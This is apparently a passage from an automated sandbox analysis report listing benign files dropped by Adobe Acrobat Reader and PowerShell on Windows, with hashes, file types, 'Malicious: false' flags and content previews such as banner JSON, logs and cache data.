Size (bytes):	287
Entropy (8bit):	5.311526414698561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJf21rPeUkwRe9:YvXKXBrls9EZc0vB5EG+16Ukee9
MD5:	13A293A9652150491FCF452FF7330718
SHA1:	5044EBCCB7A38378B7F0B8C87FCF520E92B67AFF
SHA-256:	F0F2733CCAE8CE393D338AA3A318675315B3F0DC3DE9259447FE0D6F5252F90C
SHA-512:	F18506FB55FE91F9DD6E8CB1C8DBF1C9E90229F37F84CE3C136392101A8037AE25A136743E5DF7783D158B74117C9A7572CEAC786B6A5ED6EAE6D4494CF06E57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66898472003275
Encrypted:	false
SSDEEP:	24:Yv6XBrGezvB3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSpM:YvEy29BgkDMUJUAh8cvMpM
MD5:	9AFCF9B664040511C1B140A34D20277B
SHA1:	27CE26EF44017247B5F541D3AFE1DF62599FF91E
SHA-256:	F1D7E4B3291905B162E95F09E14CE801A107F617E5C168E8227647D981CB62F0
SHA-512:	BD402FA343421E810AA28B60BE51B9AC912F3336EB5F12FAB451549067EFA232A62E6B51AAF530B14283186AB49DE9F9710C3FC40D688809A7AD19DFC198BABD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.287355760111108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfshHHrPeUkwRe9:YvXKXBrls9EZc0vB5EGUUUkee9
MD5:	EF0B3CD742008F7967065DEA400F79E7
SHA1:	8B79A082A885F06C2ADABF3735393062033E07AA
SHA-256:	AE2597331AC86BE93536DECD93F7634A6903FFB84A94953B68B1A9B7559A82A7
SHA-512:	AE1A21BAC202A195ADE7BE4EDCABDAC5F166B83B1842094B61B77B1A4C7FBCAF9BD176D9BFE45771049E76EF9514091FF161668FE7F30E7ADB3094BE81499EEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.29316882301998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJTqgFCrPeUkwRe9:YvXKXBrls9EZc0vB5EGTq16Ukee9
MD5:	90C71DEA0855097B39B5B49A7794147D
SHA1:	6C1453BB1B79552D96D28DAA58F22780FC930C41
SHA-256:	A4A52F749EFC142C457CA924CBE5D499B34164C079973B57B93EE3CC657DA010
SHA-512:	119BD5FC59C9CD04C60FA7E7E7EDC6C97C3BFC12D449920E24504D6B5F74B99887A7534397D38294DEA20A4B5D6E347F6DA8EEAE76C152E66023FAE5A6E4E329
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134042013332041
Encrypted:	false
SSDEEP:	48:YllfiuroXNVJAD4CWP8ebAG4aCqOVJsRY5Gv5uTaaf00ULh9iYlNt:exiyetGh92ATkuT4/b
MD5:	A5C5D72BF0792408C1120E96C2CCD800
SHA1:	1E17327C50A94656D41378E827442929DE1C3339
SHA-256:	885D3CA31B7B1940414EA309A201DF8DF45BE87823459C565F7561BBF964A13A
SHA-512:	781A53BE19ED3B7BA37A988C93ACCB4CFD56797F480AEB1D11651328143F63A4D094C020A50C38E49069EDD55B63F06EBF30B92A6512E4FF905AEEA07B1D2551
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c0a30a80f377db2758fc38b2a04ca1ae","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565037000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2a93f2abe858cf423d1a16545525b8e5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565037000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8cbe438dedf08c4f3d6657c943e30000","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565037000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c998e0bfd678910ae80a44bd64346b17","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565037000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ee0ef4fa115e64ffc60b4f0ac656e179","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565037000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"81beb5da253da238f7f52ec79ba09aef","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188733632146171
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUzSvR9H9vxFGiDIAEkGVvpf:lNVmswUUUUUUUUz+FGSItr
MD5:	1244722E3EDA7A11CF359F30DF249225
SHA1:	D6C694FA84FA30203BBF258B0854FDB9FAF19250
SHA-256:	0EADB26804D384AB980F877FAE3909C2C80BC9AA2BB2A2FA74EADC14D063E61B
SHA-512:	F03AA6ADBA83EA7E5EF7842AA2B6D559D184CD1851D8C08C7B2CDC3CB0E16C9608B28DB9CD3F113E0D1FF76EF987554CB0CF5AFF1AA3D1D33AD43817D5D799E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6088365514134364
Encrypted:	false
SSDEEP:	48:7M2KUUUUUUUUUU3vR9H9vxFGiDIAEkGVvRqFl2GL7msA:7yUUUUUUUUUUPFGSItHKVmsA
MD5:	96A716BFD1A0044DCA6C16CE2B77476B
SHA1:	8366E97A8B6DB47C76088CCDA2660AB099774726
SHA-256:	5A5AEFA4461EAB2132E1887B33384F037598179F4594817FB87F9993AE98E6C7
SHA-512:	ED4AFEDEBA1FCD5E05B6343FB18ABC3D75C42132B8C38530D8EF9BC3CF6052D7B6712B64C2A56C949ACBC2472EC6AD2C5494362A4A8612F493D2A8D54523DB8E
Malicious:	false
Preview:	.... .c.....>..H......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgS15W2NaawNgFEybg2V+NEdSfqAYyu:6a6TZ44ADES157NRwNgL+N8aK
MD5:	469EC2F1AF43B9C43EE3ED36167EF640
SHA1:	CF1A0E36C3AE0324C5BFD23A4FC9CDA1121C8934
SHA-256:	9A087F6099460E58A39106268BE9969C4F544409B0488D7A920C303558098339
SHA-512:	7EB151683D6864FC243B0EA7D5AB2B0BF5659884E4C78778F07BBA732D0CE22261D1025A3A673AFB3488DFA96E77624AD37E3476B692621036147459E48CEA37
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa5ba7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.489990391649207
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWllMYH:Qw946cPbiOxDlbYnuRK+braYH
MD5:	8EC0F62B4B6A68E7217AE1D85AD34D85
SHA1:	799B109C12977706B3212A99000CD1B84E6E79A7
SHA-256:	FA11805E899932F648ACAB9CB46D960CC71E38F83D7CC8F893A4ABA0FCC5C698
SHA-512:	82B307A6F99A118B863B00EAA2B3A713E002F2D7D18D38D6CC94F4DDBD96405FC23C3BCA6D20EE5509AF3E1B942E0A7AE13D5D71989C2D452733B9A61F8B134E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.0.:.4.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mmpmu0iv.ugd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rh1lg4x0.pu2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-10-34-824.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.384538551694994
Encrypted:	false
SSDEEP:	384:glh4hRUgCQfHGAfiKfTEU+9447w46KeN+pgS9RjkqCiEmFebD8Nqp2pMtucKqGGr:Rhp
MD5:	DF683527FB12393CC9D9CD9C05D5B24B
SHA1:	73A930B889EFAFE55C88E074D8D13BA92613BD43
SHA-256:	EA74EE6E1E88D7173C10B85D84130B6C64FFCA328D8AD1C3D2A4640410D59810
SHA-512:	C1749A00308755C218173DAF5288D21B1F1DBED71FC063B065461C8C0198E3F058E9E5D62414F05C58E50F8C95EF61FE92CE753D31637E779A7F67054F0F1912
Malicious:	false
Preview:	SessionID=c9a64c7c-cfb8-4a64-9252-fcbcf835561d.1736565034838 Timestamp=2025-01-10T22:10:34:839-0500 ThreadID=3060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c9a64c7c-cfb8-4a64-9252-fcbcf835561d.1736565034838 Timestamp=2025-01-10T22:10:34:847-0500 ThreadID=3060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c9a64c7c-cfb8-4a64-9252-fcbcf835561d.1736565034838 Timestamp=2025-01-10T22:10:34:847-0500 ThreadID=3060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c9a64c7c-cfb8-4a64-9252-fcbcf835561d.1736565034838 Timestamp=2025-01-10T22:10:34:847-0500 ThreadID=3060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c9a64c7c-cfb8-4a64-9252-fcbcf835561d.1736565034838 Timestamp=2025-01-10T22:10:34:847-0500 ThreadID=3060 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382174777849069
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r9:Ue
MD5:	110A0A333F5282EA0EE5A6A7D67B439E
SHA1:	5C55AD28EF3D38405573C06A4BAD6648BFAC0E07
SHA-256:	10CAB99443DD1EBAE633B2B68B1D3019FDC4396F2A146AB5A0ECABC17B018125
SHA-512:	36E8B307A35DA9F31FE316687E8E1487232C76B9DF6E6B183891F448F35051C62392075F81105BCB2FD2CCABC7E9B911C142BBD85C5F604556083EF805C69416
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\297cede9-eeb3-4d7c-9aa3-dafcd458a263.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\752760a2-aafa-4bc8-97cf-b20e45cec4fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ3POSTJJJJEQ6T9UkRm1XX/FLYVbxrr/IxktOQZ1mau4yBwsOo:r+Tegs6lTJJJJv+9UZd1ybxrr/IxkB1m
MD5:	774036904FF86EB19FCE18B796528E1E
SHA1:	2BA0EBF3FC7BEF9EF5BFAD32070BD3C785904E16
SHA-256:	D2FC8EA3DDD3F095F7A469927179B408102471627C91275EDB4D7356F8E453AD
SHA-512:	9E9662EA15AE3345166C1E51235CDCE3123B27848E4A4651CC4D2173BDD973E4AD2F8994EFF34A221A9F07AA676F52BEB6D90FF374F6CCB0D06FA39C3EFE6B31
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\dc39d581-b989-4e6e-b6a0-ac035f18900c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rnOWL07oYGZQeYIGNP+dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:TOWLxYGZQeZGw3mlind9i4ufFXpAXkrj
MD5:	0FA161571E8599D08B61BBEAA3623DE4
SHA1:	DBE02FB72E9A22C626E8D2776F4720E198DE15AD
SHA-256:	012834A88AD4AF2953B9D1795D4D324F7CF1F5C046A2BBA9F45021CDDD2E271D
SHA-512:	E46186E02C7AAD4B433638C08039F6AE0A760509A9FE718CFE341FF8087FA344B66C2987DA4935898770DFB251E57940FB61385A9F242082D29C0C2CD0677247
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ff873f69-b029-4dce-ac50-d38b0ab48df4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
